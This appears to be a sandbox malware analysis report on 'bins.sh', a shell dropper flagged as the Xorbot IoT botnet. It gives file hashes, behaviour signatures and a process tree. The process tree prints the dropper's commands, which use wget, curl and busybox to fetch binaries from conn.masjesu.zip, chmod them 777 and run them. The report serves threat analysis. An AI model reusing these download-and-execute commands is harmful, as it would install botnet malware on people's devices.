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Analysis

  • max time kernel
    150s
  • max time network
    128s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/01/2025, 20:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    942d94d9683731e7c0e80fb1184455c6

  • SHA1

    bcb4bc2b172dd258e1864c02f6e19b3a35b0d610

  • SHA256

    67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8

  • SHA512

    58c5eb1e3024d4d713047c5b02ace9a829c3161d260ca04e126f21e93e40fb990dbc3fd0b4235210b994411f852fac2dffe07daac1ab029f7b62f8c087fec9d0

  • SSDEEP

    96:Y/T/v/UJJFSqhLzP4LRJLfh1hVhWxt3UDfUjgjcjf8cpaSzTv1koCLHbIi6loooE:nY1b7Wxt3uTJlEn3ncb7WxtiJlEn3Z

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 11 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • System Network Configuration Discovery
          PID:750
        • /bin/chmod
          chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • File and Directory Permissions Modification
          PID:781
        • /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Executes dropped EXE
          PID:783
        • /bin/rm
          rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
            PID:786
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:787
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:800
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • System Network Configuration Discovery
            PID:803
          • /bin/chmod
            chmod 777 uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • File and Directory Permissions Modification
            PID:808
          • /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            ./uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Executes dropped EXE
            PID:810
          • /bin/rm
            rm uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
              PID:813
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • System Network Configuration Discovery
              PID:814
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:842
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:844
            • /bin/chmod
              chmod 777 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • File and Directory Permissions Modification
              PID:845
            • /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              ./4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Executes dropped EXE
              PID:846
            • /bin/rm
              rm 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
                PID:848
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:849
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:850

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

              Filesize

              98KB

              MD5

              5141342d0df8699fa32a6b066a0c592e

              SHA1

              8157673225bd5182f16215e2aa823a25ca2d4fbc

              SHA256

              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

              SHA512

              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

            • /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

              Filesize

              151KB

              MD5

              6c583043d91c55aa470c08c87058e917

              SHA1

              abf65a5b9bba69980278ad09356e53de8bb89439

              SHA256

              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

              SHA512

              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

            • /tmp/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq

              Filesize

              122KB

              MD5

              cd3d4b9c643e5b473fb4d88ed05f0716

              SHA1

              64ee7a97418583d759eaea8000890cc3bae1b5f4

              SHA256

              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

              SHA512

              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

            • /tmp/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq

              Filesize

              12KB

              MD5

              045e1d2f584c0f15e1aaaae47f770a6a

              SHA1

              6f0026095edfb7e1f7f9c2d188e6d241c1a003c3

              SHA256

              8304386b56b0c687020c7d3383c6d3bd79bee4847c002ceec62e74dc5a3713ea

              SHA512

              92d13cb484e07129abd25524d7ec69e9e71c93c060902f2ecc0ad81a2782a9ab0c0d4af4b605b4b4839de525211aab3c2c8b239e80be85a0a47312a5e5f584d9

            • /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

              Filesize

              119KB

              MD5

              1b166b95f9cb4b079ef1b9ec8363ddf3

              SHA1

              0d8eb08add467b3b5474f9b25909297fe7c2839c

              SHA256

              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

              SHA512

              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925